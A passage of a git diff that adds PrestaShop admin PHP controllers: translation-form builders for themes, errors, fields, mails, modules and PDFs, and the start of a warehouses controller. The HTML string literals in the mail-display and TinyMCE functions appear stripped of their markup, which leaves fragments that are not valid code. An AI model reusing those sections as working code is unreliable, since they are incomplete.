file_get_contents($file_path); + + // Parse this content + $matches = $this->userParseFile($content, $this->type_selected, 'php'); + + foreach ($matches as $key) + { + // Caution ! front has underscore between prefix key and md5, back has not + if (isset($GLOBALS[$name_var][$prefix_key.md5($key)])) + $tabs_array[$prefix_key][$key]['trad'] = stripslashes(html_entity_decode($GLOBALS[$name_var][$prefix_key.md5($key)], ENT_COMPAT, 'UTF-8')); + else + { + if (!isset($tabs_array[$prefix_key][$key]['trad'])) + { + $tabs_array[$prefix_key][$key]['trad'] = ''; + if (!isset($missing_translations_back[$prefix_key])) + $missing_translations_back[$prefix_key] = 1; + else + $missing_translations_back[$prefix_key]++; + } + } + $tabs_array[$prefix_key][$key]['use_sprintf'] = $this->checkIfKeyUseSprintf($key); + } + } + + foreach ($files_per_directory['specific'] as $dir => $files) + foreach ($files as $file) + if (Tools::file_exists_cache($file_path = $dir.$file) && !in_array($file, self::$ignore_folder)) + { + $prefix_key = 'index'; + + // Get content for this file + $content = file_get_contents($file_path); + + // Parse this content + $matches = $this->userParseFile($content, $this->type_selected, 'specific'); + + foreach ($matches as $key) + { + // Caution ! front has underscore between prefix key and md5, back has not + if (isset($GLOBALS[$name_var][$prefix_key.md5($key)])) + $tabs_array[$prefix_key][$key]['trad'] = stripslashes(html_entity_decode($GLOBALS[$name_var][$prefix_key.md5($key)], ENT_COMPAT, 'UTF-8')); + else + { + if (!isset($tabs_array[$prefix_key][$key]['trad'])) + { + $tabs_array[$prefix_key][$key]['trad'] = ''; + if (!isset($missing_translations_back[$prefix_key])) + $missing_translations_back[$prefix_key] = 1; + else + $missing_translations_back[$prefix_key]++; + } + } + $tabs_array[$prefix_key][$key]['use_sprintf'] = $this->checkIfKeyUseSprintf($key); + } + } + + foreach ($files_per_directory['tpl'] as $dir => $files) + foreach ($files as $file) + if (preg_match('/^(.*).tpl$/', $file) && Tools::file_exists_cache($file_path = $dir.$file)) + { + // get controller name instead of file name + $prefix_key = Tools::toCamelCase(str_replace(_PS_ADMIN_DIR_.'/themes', '', $file_path), true); + $pos = strrpos($prefix_key, DIRECTORY_SEPARATOR); + $tmp = substr($prefix_key, 0, $pos); + + if (preg_match('#controllers#', $tmp)) + { + $parent_class = explode(DIRECTORY_SEPARATOR, $tmp); + $override = array_search('override', $parent_class); + if ($override !== false) + $prefix_key = 'Admin'.ucfirst($parent_class[count($parent_class) - 1]); + else + { + $key = array_search('controllers', $parent_class); + $prefix_key = 'Admin'.ucfirst($parent_class[$key + 1]); + } + } + else + $prefix_key = 'Admin'.ucfirst(substr($tmp, strrpos($tmp, DIRECTORY_SEPARATOR) + 1, $pos)); + + // Adding list, form, option in Helper Translations + $list_prefix_key = array('AdminHelpers', 'AdminList', 'AdminView', 'AdminOptions', 'AdminForm', 'AdminHelpAccess'); + if (in_array($prefix_key, $list_prefix_key)) + $prefix_key = 'Helper'; + + // Adding the folder backup/download/ in AdminBackup Translations + if ($prefix_key == 'AdminDownload') + $prefix_key = 'AdminBackup'; + + // use the prefix "AdminController" (like old php files 'header', 'footer.inc', 'index', 'login', 'password', 'functions' + if ($prefix_key == 'Admin' || $prefix_key == 'AdminTemplate') + $prefix_key = 'AdminController'; + + $new_lang = array(); + + // Get content for this file + $content = file_get_contents($file_path); + + // Parse this content + $matches = $this->userParseFile($content, $this->type_selected, 'tpl'); + + /* Get string translation for each tpl file */ + foreach ($matches as $english_string) + { + if (empty($english_string)) + { + $this->errors[] = sprintf($this->l('There\'s an error in template, an empty string has been found. Please edit: "%s"'), $file_path); + $new_lang[$english_string] = ''; + } + else + { + $trans_key = $prefix_key.md5($english_string); + + if (isset($GLOBALS[$name_var][$trans_key])) + $new_lang[$english_string]['trad'] = html_entity_decode($GLOBALS[$name_var][$trans_key], ENT_COMPAT, 'UTF-8'); + else + { + if (!isset($new_lang[$english_string]['trad'])) + { + $new_lang[$english_string]['trad'] = ''; + if (!isset($missing_translations_back[$prefix_key])) + $missing_translations_back[$prefix_key] = 1; + else + $missing_translations_back[$prefix_key]++; + } + } + $new_lang[$english_string]['use_sprintf'] = $this->checkIfKeyUseSprintf($key); + } + } + if (isset($tabs_array[$prefix_key])) + $tabs_array[$prefix_key] = array_merge($tabs_array[$prefix_key], $new_lang); + else + $tabs_array[$prefix_key] = $new_lang; + } + + + // count will contain the number of expressions of the page + $count = 0; + foreach ($tabs_array as $array) + $count += count($array); + + $this->tpl_view_vars = array_merge($this->tpl_view_vars, array( + 'count' => $count, + 'limit_warning' => $this->displayLimitPostWarning($count), + 'tabsArray' => $tabs_array, + 'missing_translations' => $missing_translations_back + )); + + // Add js variables needed for autotranslate + //$this->tpl_view_vars = array_merge($this->tpl_view_vars, $this->initAutoTranslate()); + + $this->initToolbar(); + $this->base_tpl_view = 'translation_form.tpl'; + return parent::renderView(); + } + + /** + * Check if directory and file exist and return an list of modules + * + * @return array : list of modules + */ + public function getListModules() + { + if (!Tools::file_exists_cache($this->translations_informations['modules']['dir'])) + throw new PrestaShopException(Tools::displayError('Fatal error: The module directory does not exist.').'('.$this->translations_informations['modules']['dir'].')'); + if (!is_writable($this->translations_informations['modules']['dir'])) + throw new PrestaShopException(Tools::displayError('The module directory must be writable.')); + + $modules = array(); + // Get all module which are installed for to have a minimum of POST + $modules = Module::getModulesInstalled(); + foreach ($modules as &$module) + $module = $module['name']; + + return $modules; + } + + /** + * This method generate the form for errors translations + */ + public function initFormErrors() + { + $name_var = $this->translations_informations[$this->type_selected]['var']; + $GLOBALS[$name_var] = $this->fileExists(); + $count_empty = array(); + + /* List files to parse */ + $string_to_translate = array(); + $file_by_directory = $this->getFileToParseByTypeTranslation(); + + if ($modules = $this->getListModules()) + { + foreach ($modules as $module) + if (is_dir(_PS_MODULE_DIR_.$module) && !in_array($module, self::$ignore_folder)) + $file_by_directory['php'] = array_merge($file_by_directory['php'], $this->listFiles(_PS_MODULE_DIR_.$module.'/', array(), 'php')); + } + + foreach ($file_by_directory['php'] as $dir => $files) + foreach ($files as $file) + if (preg_match('/\.php$/', $file) && Tools::file_exists_cache($file_path = $dir.$file) && !in_array($file, self::$ignore_folder)) + { + if (!filesize($file_path)) + continue; + + // Get content for this file + $content = file_get_contents($file_path); + + // Parse this content + $matches = $this->userParseFile($content, $this->type_selected); + + foreach ($matches as $key) + { + if (array_key_exists(md5($key), $GLOBALS[$name_var])) + $string_to_translate[$key]['trad'] = html_entity_decode($GLOBALS[$name_var][md5($key)], ENT_COMPAT, 'UTF-8'); + else + { + $string_to_translate[$key]['trad'] = ''; + if (!isset($count_empty[$key])) + $count_empty[$key] = 1; + } + $string_to_translate[$key]['use_sprintf'] = $this->checkIfKeyUseSprintf($key); + } + } + + $this->tpl_view_vars = array_merge($this->tpl_view_vars, array( + 'count' => count($string_to_translate), + 'limit_warning' => $this->displayLimitPostWarning(count($string_to_translate)), + 'errorsArray' => $string_to_translate, + 'missing_translations' => $count_empty + )); + + $this->initToolbar(); + $this->base_tpl_view = 'translation_errors.tpl'; + return parent::renderView(); + } + + /** + * This method generate the form for fields translations + */ + public function initFormFields() + { + $name_var = $this->translations_informations[$this->type_selected]['var']; + $GLOBALS[$name_var] = $this->fileExists(); + $missing_translations_fields = array(); + $class_array = array(); + $tabs_array = array(); + $count = 0; + + $files_by_directory = $this->getFileToParseByTypeTranslation(); + + foreach ($files_by_directory['php'] as $dir => $files) + foreach ($files as $file) + { + $exclude_files = array('index.php', 'Autoload.php', 'StockManagerInterface.php', + 'TaxManagerInterface.php', 'WebserviceOutputInterface.php', 'WebserviceSpecificManagementInterface.php'); + + if (!preg_match('/\.php$/', $file) || in_array($file, $exclude_files)) + continue; + + $class_name = substr($file, 0, -4); + + if (!class_exists($class_name, false)) + Autoload::getInstance()->load($class_name); + + if (!is_subclass_of($class_name.'Core', 'ObjectModel')) + continue; + $class_array[$class_name] = call_user_func(array($class_name, 'getValidationRules'), $class_name); + } + foreach ($class_array as $prefix_key => $rules) + { + if (isset($rules['validate'])) + foreach ($rules['validate'] as $key => $value) + { + if (isset($GLOBALS[$name_var][$prefix_key.'_'.md5($key)])) + { + $tabs_array[$prefix_key][$key]['trad'] = html_entity_decode($GLOBALS[$name_var][$prefix_key.'_'.md5($key)], ENT_COMPAT, 'UTF-8'); + $count++; + } + else + { + if (!isset($tabs_array[$prefix_key][$key]['trad'])) + { + $tabs_array[$prefix_key][$key]['trad'] = ''; + if (!isset($missing_translations_fields[$prefix_key])) + $missing_translations_fields[$prefix_key] = 1; + else + $missing_translations_fields[$prefix_key]++; + $count++; + } + } + } + if (isset($rules['validateLang'])) + foreach ($rules['validateLang'] as $key => $value) + { + if (isset($GLOBALS[$name_var][$prefix_key.'_'.md5($key)])) + { + $tabs_array[$prefix_key][$key]['trad'] = ''; + if (array_key_exists($prefix_key.'_'.md5(addslashes($key)), $GLOBALS[$name_var])) + $tabs_array[$prefix_key][$key]['trad'] = html_entity_decode($GLOBALS[$name_var][$prefix_key.'_'.md5(addslashes($key))], ENT_COMPAT, 'UTF-8'); + + $count++; + } + else + { + if (!isset($tabs_array[$prefix_key][$key]['trad'])) + { + $tabs_array[$prefix_key][$key]['trad'] = ''; + if (!isset($missing_translations_fields[$prefix_key])) + $missing_translations_fields[$prefix_key] = 1; + else + $missing_translations_fields[$prefix_key]++; + $count++; + } + } + } + } + + $this->tpl_view_vars = array_merge($this->tpl_view_vars, array( + 'count' => $count, + 'limit_warning' => $this->displayLimitPostWarning($count), + 'tabsArray' => $tabs_array, + 'missing_translations' => $missing_translations_fields + )); + + $this->initToolbar(); + $this->base_tpl_view = 'translation_form.tpl'; + return parent::renderView(); + } + + /** + * Get each informations for each mails founded in the folder $dir. + * + * @since 1.4.0.14 + * @param string $dir + * @param string $group_name + * @return array : list of mails + */ + public function getMailFiles($dir, $group_name = 'mail') + { + $arr_return = array(); + if (Language::getIdByIso('en')) + $default_language = 'en'; + else + $default_language = Language::getIsoById((int)Configuration::get('PS_LANG_DEFAULT')); + if (!$default_language || !Validate::isLanguageIsoCode($default_language)) + return false; + + // Very usefull to name input and textarea fields + $arr_return['group_name'] = $group_name; + $arr_return['empty_values'] = 0; + $arr_return['total_filled'] = 0; + $arr_return['directory'] = $dir; + + // Get path for english mail directory + $dir_en = str_replace('/'.$this->lang_selected->iso_code.'/', '/'.$default_language.'/', $dir); + + if (Tools::file_exists_cache($dir_en)) + { + // Get all english files to compare with the language to translate + foreach (scandir($dir_en) as $email_file) + { + if (strripos($email_file, '.html') > 0 || strripos($email_file, '.txt') > 0) + { + $email_name = substr($email_file, 0, strripos($email_file, '.')); + $type = substr($email_file, strripos($email_file, '.') + 1); + if (!isset($arr_return['files'][$email_name])) + $arr_return['files'][$email_name] = array(); + // $email_file is from scandir ($dir), so we already know that file exists + $arr_return['files'][$email_name][$type]['en'] = $this->getMailContent($dir_en, $email_file); + + // check if the file exists in the language to translate + if (Tools::file_exists_cache($dir.'/'.$email_file)) + { + $arr_return['files'][$email_name][$type][$this->lang_selected->iso_code] = $this->getMailContent($dir, $email_file); + $this->total_expression++; + } + else + $arr_return['files'][$email_name][$type][$this->lang_selected->iso_code] = ''; + + if ($arr_return['files'][$email_name][$type][$this->lang_selected->iso_code] == '') + $arr_return['empty_values']++; + else + $arr_return['total_filled']++; + } + } + } + else + $this->warnings[] = sprintf(Tools::displayError('A mail directory exists for %1$s but not for English in %2$s'), + $this->lang_selected->iso_code, str_replace(_PS_ROOT_DIR_, '', $dir)); + return $arr_return; + } + + /** + * Get content of the mail file. + * + * @since 1.4.0.14 + * @param string $dir + * @param string $file + * @return array : content of file + */ + protected function getMailContent($dir, $file) + { + $content = file_get_contents($dir.'/'.$file); + + if (Tools::strlen($content) === 0) + $content = ''; + return $content; + } + + /** + * Display mails in html format. + * This was create for factorize the html displaying + * + * @since 1.4.0.14 + * @param array $mails + * @param array $all_subject_mail + * @param Language $obj_lang + * @param string $id_html use for set html id attribute for the block + * @param string $title Set the title for the block + * @param string|boolean $name_for_module is not false define add a name for disntiguish mails module + */ + protected function displayMailContent($mails, $all_subject_mail, $obj_lang, $id_html, $title, $name_for_module = false) + { + $str_return = ''; + $group_name = 'mail'; + if (array_key_exists('group_name', $mails)) + $group_name = $mails['group_name']; + + $str_return .= ' +
+

'.$title.' - '.$mails['empty_values'].' ' + .sprintf($this->l('missing translation(s) on %1$s template(s) for %2$s'), + ''.((int)$mails['empty_values'] + (int)$mails['total_filled']).'', + $obj_lang->name) + .':

+
'; + if (!empty($mails['files'])) + { + foreach ($mails['files'] as $mail_name => $mail_files) + { + if (array_key_exists('html', $mail_files) || array_key_exists('txt', $mail_files)) + { + if (array_key_exists($mail_name, $all_subject_mail)) + { + $subject_mail = $all_subject_mail[$mail_name]; + $value_subject_mail = isset($mails['subject'][$subject_mail]) ? $mails['subject'][$subject_mail] : ''; + $str_return .= ' +
+ +
+ '.$subject_mail.'
'; + if (isset($value_subject_mail['trad']) && $value_subject_mail['trad']) + $str_return .= ''; + else + $str_return .= ''; + + if (isset($value_subject_mail['use_sprintf']) && $value_subject_mail['use_sprintf']) + { + $str_return .= ' + '.$value_subject_mail['use_sprintf'].' + '; + } + $str_return .= '
+
'; + } + else + { + $str_return .= ' +
+ '.sprintf($this->l('No Subject was found for %s in the database.'), ''.$mail_name.'').' +
'; + } + if (array_key_exists('html', $mail_files)) + { + $base_uri = str_replace(_PS_ROOT_DIR_, __PS_BASE_URI__, $mails['directory']); + $base_uri = str_replace('//', '/', $base_uri); + $url_mail = $base_uri.$mail_name.'.html'; + $str_return .= $this->displayMailBlockHtml($mail_files['html'], $obj_lang->iso_code, $url_mail, $mail_name, $group_name, $name_for_module); + } + if (array_key_exists('txt', $mail_files)) + $str_return .= $this->displayMailBlockTxt($mail_files['txt'], $obj_lang->iso_code, $mail_name, $group_name, $name_for_module); + } + } + } + else + { + $str_return .= ' +

'.$this->l('There was a problem getting the mail files.').'
' + .sprintf($this->l('English language files must exist in %s folder'), ''.$mails['directory'].'en') + .'

'; + } + $str_return .= ' +
+
+
'; + return $str_return; + } + /** + * Just build the html structure for display txt mails + * + * @since 1.4.0.14 + * @param array $content with english and language needed contents + * @param string $lang iso code of the needed language + * @param string $mail_name name of the file to translate (same for txt and html files) + * @param string $group_name group name allow to distinguish each block of mail. + * @param string|boolean $name_for_module is not false define add a name for disntiguish mails module + */ + protected function displayMailBlockTxt($content, $lang, $mail_name, $group_name, $name_for_module = false) + { + return ' +
+ +
+
+
+
'; + } + /** + * Just build the html structure for display html mails. + * + * @since 1.4.0.14 + * @param array $content with english and language needed contents + * @param string $lang iso code of the needed language + * @param string $url for the html page and displaying an outline + * @param string $mail_name name of the file to translate (same for txt and html files) + * @param string $group_name group name allow to distinguish each block of mail. + * @param string|boolean $name_for_module is not false define add a name for disntiguish mails module + */ + protected function displayMailBlockHtml($content, $lang, $url, $mail_name, $group_name, $name_for_module = false) + { + $title = array(); + + // Because TinyMCE don't work correctly with , and tags + if (stripos($content[$lang], '([^<]+)#Ui', $title[$language], $matches); + $title[$language] = empty($matches[1])?'':$matches[1]; + + // The 2 lines below allow to exlude tag from the content. + // This allow to exclude body tag even if attributs are setted. + $content[$language] = substr($content[$language], stripos($content[$language], '') + 1); + $content[$language] = substr($content[$language], 0, stripos($content[$language], '')); + } + } + + $str_return = ''; + $name_for_module = $name_for_module ? $name_for_module.'|' : ''; + $content[$lang] = (isset($content[$lang]) ? Tools::htmlentitiesUTF8(stripslashes($content[$lang])) : ''); + $str_return .= ' +
+ +
+
'; + $str_return .= ' +
+ '.$this->l('"title" tag:').' '.(isset($title['en']) ? $title['en'] : '').'
+ +
'; + $str_return .= ' + + '.$this->l('Edit this email template.').' +
+ +
+
'; + return $str_return; + } + + /** + * Check in each module if contains mails folder. + * + * @return array of module which has mails + */ + public function getModulesHasMails($with_module_name = false) + { + $arr_modules = array(); + foreach (scandir($this->translations_informations['modules']['dir']) as $module_dir) + { + if (!in_array($module_dir, self::$ignore_folder)) + { + $dir = false; + if ($this->theme_selected && Tools::file_exists_cache($this->translations_informations['modules']['override']['dir'].$module_dir.'/mails/')) + $dir = $this->translations_informations['modules']['override']['dir'].$module_dir.'/'; + elseif (Tools::file_exists_cache($this->translations_informations['modules']['dir'].$module_dir.'/mails/')) + $dir = $this->translations_informations['modules']['dir'].$module_dir.'/'; + if ($dir !== false) + { + if ($with_module_name) + $arr_modules[$module_dir] = $dir; + else + $arr_modules[$dir] = scandir($dir); + } + } + } + return $arr_modules; + } + + protected function getTinyMCEForMails($iso_lang) + { + // TinyMCE + $iso_tiny_mce = (Tools::file_exists_cache(_PS_ROOT_DIR_.'/js/tiny_mce/langs/'.$iso_lang.'.js') ? $iso_lang : 'en'); + $ad = dirname($_SERVER['PHP_SELF']); + return ' + + + + '; + } + + /** + * This method generate the form for mails translations + */ + public function initFormMails($no_display = false) + { + $module_mails = array(); + + // get all mail subjects, this method parse each files in Prestashop !! + $subject_mail = array(); + + $modules_has_mails = $this->getModulesHasMails(true); + + $files_by_directiories = $this->getFileToParseByTypeTranslation(); + + foreach ($files_by_directiories['php'] as $dir => $files) + foreach ($files as $file) + if (Tools::file_exists_cache($dir.$file) && is_file($dir.$file) && !in_array($file, self::$ignore_folder) && preg_match('/\.php$/', $file)) + $subject_mail = $this->getSubjectMail($dir, $file, $subject_mail); + + // Get path of directory for find a good path of translation file + if ($this->theme_selected && @filemtime($this->translations_informations[$this->type_selected]['override']['dir'])) + $i18n_dir = $this->translations_informations[$this->type_selected]['override']['dir']; + else + $i18n_dir = $this->translations_informations[$this->type_selected]['dir']; + + $core_mails = $this->getMailFiles($i18n_dir, 'core_mail'); + $core_mails['subject'] = $this->getSubjectMailContent($i18n_dir); + + foreach ($modules_has_mails as $module_name => $module_path) + { + $module_mails[$module_name] = $this->getMailFiles($module_path.'mails/'.$this->lang_selected->iso_code.'/', 'module_mail'); + $module_mails[$module_name]['subject'] = $core_mails['subject']; + $module_mails[$module_name]['display'] = $this->displayMailContent($module_mails[$module_name], $subject_mail, $this->lang_selected, Tools::strtolower($module_name), sprintf($this->l('Emails for %s module'), ''.$module_name.''), $module_name); + } + + if ($no_display) + { + $empty = 0; + $total = 0; + $total += (int)$core_mails['total_filled']; + $empty += (int)$core_mails['empty_values']; + foreach ($module_mails as $mod_infos) + { + $total += (int)$mod_infos['total_filled']; + $empty += (int)$mod_infos['empty_values']; + } + return array('total' => $total, 'empty' => $empty); + } + + $this->tpl_view_vars = array_merge($this->tpl_view_vars, array( + 'limit_warning' => $this->displayLimitPostWarning($this->total_expression), + 'tinyMCE' => $this->getTinyMCEForMails($this->lang_selected->iso_code), + 'mail_content' => $this->displayMailContent($core_mails, $subject_mail, $this->lang_selected, 'core', $this->l('Core emails')), + 'module_mails' => $module_mails, + 'theme_name' => $this->theme_selected + )); + + $this->initToolbar(); + $this->base_tpl_view = 'translation_mails.tpl'; + return parent::renderView(); + } + + /** + * Get list of subjects of mails + * + * @param $dir + * @param $file + * @param $subject_mail + * @return array : list of subjects of mails + */ + protected function getSubjectMail($dir, $file, $subject_mail) + { + $content = file_get_contents($dir.'/'.$file); + $content = str_replace("\n", ' ', $content); + + if (preg_match_all('/Mail::Send([^;]*);/si', $content, $tab)) + for ($i = 0; isset($tab[1][$i]); $i++) + { + $tab2 = explode(',', $tab[1][$i]); + if (is_array($tab2)) + if ($tab2 && isset($tab2[1])) + { + $tab2[1] = trim(str_replace('\'', '', $tab2[1])); + if (preg_match('/Mail::l\(\''._PS_TRANS_PATTERN_.'\'/s', $tab2[2], $matches)) + $subject_mail[$tab2[1]] = $matches[1]; + } + } + + if (!in_array($file, self::$ignore_folder) && is_dir($dir.'/'.$file)) + $subject_mail = $this->getSubjectMail($dir, $file, $subject_mail); + + return $subject_mail; + } + + /** + * @param $directory : name of directory + * @return array + */ + protected function getSubjectMailContent($directory) + { + $subject_mail_content = array(); + + if (Tools::file_exists_cache($directory.'/lang.php')) + { + // we need to include this even if already included (no include once) + include($directory.'/lang.php'); + foreach ($GLOBALS[$this->translations_informations[$this->type_selected]['var']] as $key => $subject) + { + $this->total_expression++; + $subject = str_replace('\n', ' ', $subject); + $subject = str_replace("\\'", "\'", $subject); + + $subject_mail_content[$key]['trad'] = htmlentities($subject, ENT_QUOTES, 'UTF-8'); + $subject_mail_content[$key]['use_sprintf'] = $this->checkIfKeyUseSprintf($key); + } + } + else + $this->errors[] = sprintf($this->l('Subject mail translation file not found in "%s"'), $directory); + return $subject_mail_content; + } + + protected function writeSubjectTranslationFile($sub, $path) + { + if ($fd = @fopen($path, 'w')) + { + $tab = 'LANGMAIL'; + fwrite($fd, " $value) + { + // Magic Quotes shall... not.. PASS! + if (_PS_MAGIC_QUOTES_GPC_) + $value = stripslashes($value); + fwrite($fd, '$_'.$tab.'[\''.pSQL($key).'\'] = \''.pSQL($value).'\';'."\n"); + } + + fwrite($fd, "\n?>"); + fclose($fd); + } + else + throw new PrestaShopException(sprintf(Tools::displayError('Cannot write language file for email subjects. Path is: %s'), $path)); + } + + /** + * This get files to translate in module directory. + * Recursive method allow to get each files for a module no matter his depth. + * + * @param string $path directory path to scan + * @param array $array_files by reference - array which saved files to parse. + * @param string $module_name module name + * @param string $lang_file full path of translation file + * @param boolean $is_default + */ + protected function recursiveGetModuleFiles($path, &$array_files, $module_name, $lang_file, $is_default = false) + { + $files_module = array(); + if (Tools::file_exists_cache($path)) + $files_module = scandir($path); + $files_for_module = $this->clearModuleFiles($files_module, 'file'); + if (!empty($files_for_module)) + $array_files[] = array( + 'file_name' => $lang_file, + 'dir' => $path, + 'files' => $files_for_module, + 'module' => $module_name, + 'is_default' => $is_default, + 'theme' => $this->theme_selected, + ); + + $dir_module = $this->clearModuleFiles($files_module, 'directory', $path); + + if (!empty($dir_module)) + foreach ($dir_module as $folder) + $this->recursiveGetModuleFiles($path.$folder.'/', $array_files, $module_name, $lang_file, $is_default); + } + + /** + * This method get translation in each translations file. + * The file depend on $lang param. + * + * @param array $modules list of modules + * @param string $root_dir path where it get each modules + * @param string $lang iso code of choosen language to translate + * @param boolean $is_default set it if modules are located in root/prestashop/modules folder + * This allow to distinguish overrided prestashop theme and original module + */ + protected function getAllModuleFiles($modules, $root_dir = null, $lang, $is_default = false) + { + $array_files = array(); + $initial_root_dir = $root_dir; + foreach ($modules as $module) + { + $root_dir = $initial_root_dir; + if ($module{0} == '.') + continue; + + // First we load the default translation file + if ($root_dir == null) + { + $i18n_dir = $this->translations_informations[$this->type_selected]['dir']; + if (is_dir($i18n_dir.$module)) + $root_dir = $i18n_dir; + + $lang_file = $root_dir.$module.'/translations/'.$lang.'.php'; + if (!Tools::file_exists_cache($root_dir.$module.'/translations/'.$lang.'.php') && Tools::file_exists_cache($root_dir.$module.'/'.$lang.'.php')) + $lang_file = $root_dir.$module.'/'.$lang.'.php'; + @include($lang_file); + $this->getModuleTranslations(); + // If a theme is selected, then the destination translation file must be in the theme + if ($this->theme_selected) + $lang_file = $this->translations_informations[$this->type_selected]['override']['dir'].$module.'/translations/'.$lang.'.php'; + $this->recursiveGetModuleFiles($root_dir.$module.'/', $array_files, $module, $lang_file, $is_default); + } + + $root_dir = $initial_root_dir; + // Then we load the overriden translation file + if ($this->theme_selected && isset($this->translations_informations[$this->type_selected]['override'])) + { + $i18n_dir = $this->translations_informations[$this->type_selected]['override']['dir']; + if (is_dir($i18n_dir.$module)) + $root_dir = $i18n_dir; + if (Tools::file_exists_cache($root_dir.$module.'/translations/'.$lang.'.php')) + $lang_file = $root_dir.$module.'/translations/'.$lang.'.php'; + elseif (Tools::file_exists_cache($root_dir.$module.'/'.$lang.'.php')) + $lang_file = $root_dir.$module.'/'.$lang.'.php'; + @include($lang_file); + $this->getModuleTranslations(); + $this->recursiveGetModuleFiles($root_dir.$module.'/', $array_files, $module, $lang_file, $is_default); + } + } + return $array_files; + } + + /** + * This method generate the form for modules translations + */ + public function initFormModules() + { + // Get list of modules + $modules = $this->getListModules(); + + if (!empty($modules)) + { + // Get all modules files and include all translation files + $arr_files = $this->getAllModuleFiles($modules, null, $this->lang_selected->iso_code, true); + foreach ($arr_files as $value) + $this->findAndFillTranslations($value['files'], $value['theme'], $value['module'], $value['dir']); + + $this->tpl_view_vars = array_merge($this->tpl_view_vars, array( + 'default_theme_name' => self::DEFAULT_THEME_NAME, + 'count' => $this->total_expression, + 'limit_warning' => $this->displayLimitPostWarning($this->total_expression), + 'textarea_sized' => TEXTAREA_SIZED, + 'modules_translations' => isset($this->modules_translations) ? $this->modules_translations : array(), + 'missing_translations' => $this->missing_translations + )); + + $this->initToolbar(); + $this->base_tpl_view = 'translation_modules.tpl'; + return parent::renderView(); + } + } + + /** Parse PDF class + * + * @param string $file_path file to parse + * @param string $file_type type of file + * @param array $langArray contains expression in the chosen language + * @param string $tab name to use with the md5 key + * @param array $tabs_array + * @return array containing all datas needed for building the translation form + * @since 1.4.5.0 + */ + protected function parsePdfClass($file_path, $file_type, $lang_array, $tab, $tabs_array, &$count_missing) + { + // Get content for this file + $content = file_get_contents($file_path); + + // Parse this content + $matches = $this->userParseFile($content, $this->type_selected, $file_type); + + foreach ($matches as $key) + { + if (stripslashes(array_key_exists($tab.md5(addslashes($key)), $lang_array))) + $tabs_array[$tab][$key]['trad'] = html_entity_decode($lang_array[$tab.md5(addslashes($key))], ENT_COMPAT, 'UTF-8'); + else + { + $tabs_array[$tab][$key]['trad'] = ''; + if (!isset($count_missing[$tab])) + $count_missing[$tab] = 1; + else + $count_missing[$tab]++; + } + $tabs_array[$tab][$key]['use_sprintf'] = $this->checkIfKeyUseSprintf($key); + } + + return $tabs_array; + } + + /** + * This method generate the form for PDF translations + */ + public function initFormPDF() + { + $name_var = $this->translations_informations[$this->type_selected]['var']; + $GLOBALS[$name_var] = array(); + $missing_translations_pdf = array(); + + $i18n_dir = $this->translations_informations[$this->type_selected]['dir']; + $default_i18n_file = $i18n_dir.$this->translations_informations[$this->type_selected]['file']; + + if (!$this->theme_selected) + $i18n_file = $default_i18n_file; + else + { + $i18n_dir = $this->translations_informations[$this->type_selected]['override']['dir']; + $i18n_file = $i18n_dir.$this->translations_informations[$this->type_selected]['override']['file']; + } + + $this->checkDirAndCreate($i18n_file); + if ((!file_exists($i18n_file) && !is_writable($i18n_dir)) && !is_writable($i18n_file)) + $this->errors[] = sprintf(Tools::displayError('Cannot write into the "%s"'), $i18n_file); + + @include($i18n_file); + + // if the override's translation file is empty load the default file + if (!isset($GLOBALS[$name_var]) || count($GLOBALS[$name_var]) == 0) + @include($default_i18n_file); + + $prefix_key = 'PDF'; + $tabs_array = array($prefix_key => array()); + + $files_by_directory = $this->getFileToParseByTypeTranslation(); + + foreach ($files_by_directory as $type => $directories) + foreach ($directories as $dir => $files) + foreach ($files as $file) + if (!in_array($file, self::$ignore_folder) && Tools::file_exists_cache($file_path = $dir.$file)) + { + if ($type == 'tpl') + { + if (Tools::file_exists_cache($file_path) && is_file($file_path)) + { + // Get content for this file + $content = file_get_contents($file_path); + + // Parse this content + $matches = $this->userParseFile($content, $this->type_selected, 'tpl'); + + foreach ($matches as $key) + { + if (isset($GLOBALS[$name_var][$prefix_key.md5($key)])) + $tabs_array[$prefix_key][$key]['trad'] = (html_entity_decode($GLOBALS[$name_var][$prefix_key.md5($key)], ENT_COMPAT, 'UTF-8')); + else + { + if (!isset($tabs_array[$prefix_key][$key]['trad'])) + { + $tabs_array[$prefix_key][$key]['trad'] = ''; + if (!isset($missing_translations_pdf[$prefix_key])) + $missing_translations_pdf[$prefix_key] = 1; + else + $missing_translations_pdf[$prefix_key]++; + } + } + $tabs_array[$prefix_key][$key]['use_sprintf'] = $this->checkIfKeyUseSprintf($key); + } + } + } + else + if (Tools::file_exists_cache($file_path)) + $tabs_array = $this->parsePdfClass($file_path, 'php', $GLOBALS[$name_var], $prefix_key, $tabs_array, $missing_translations_pdf); + } + + $this->tpl_view_vars = array_merge($this->tpl_view_vars, array( + 'count' => count($tabs_array['PDF']), + 'limit_warning' => $this->displayLimitPostWarning(count($tabs_array['PDF'])), + 'tabsArray' => $tabs_array, + 'missing_translations' => $missing_translations_pdf + )); + + $this->initToolbar(); + $this->base_tpl_view = 'translation_form.tpl'; + return parent::renderView(); + } + + /** + * recursively list files in directory $dir + */ + public function listFiles($dir, $list = array(), $file_ext = 'tpl') + { + $dir = rtrim($dir, '/').DIRECTORY_SEPARATOR; + + $to_parse = scandir($dir); + // copied (and kind of) adapted from AdminImages.php + foreach ($to_parse as $file) + { + if (!in_array($file, self::$ignore_folder)) + { + if (preg_match('#'.preg_quote($file_ext, '#').'$#i', $file)) + $list[$dir][] = $file; + else if (is_dir($dir.$file)) + $list = $this->listFiles($dir.$file, $list, $file_ext); + } + } + return $list; + } + + protected function theme_exists($theme) + { + if (!is_array($this->themes)) + $this->themes = Theme::getThemes(); + + $theme_exists = false; + foreach ($this->themes as $existing_theme) + if ($existing_theme->directory == $theme) + return true; + return false; + } +} \ No newline at end of file diff --git a/controllers/admin/AdminWarehousesController.php b/controllers/admin/AdminWarehousesController.php new file mode 100755 index 0000000..8628f1f --- /dev/null +++ b/controllers/admin/AdminWarehousesController.php @@ -0,0 +1,602 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class AdminWarehousesControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'warehouse'; + $this->className = 'Warehouse'; + $this->deleted = true; + $this->lang = false; + $this->multishop_context = Shop::CONTEXT_ALL; + + $this->fields_list = array( + 'reference' => array( + 'title' => $this->l('Reference'), + 'width' => 150, + ), + 'name' => array( + 'title' => $this->l('Name'), + ), + 'management_type' => array( + 'title' => $this->l('Managment type'), + 'width' => 80, + ), + 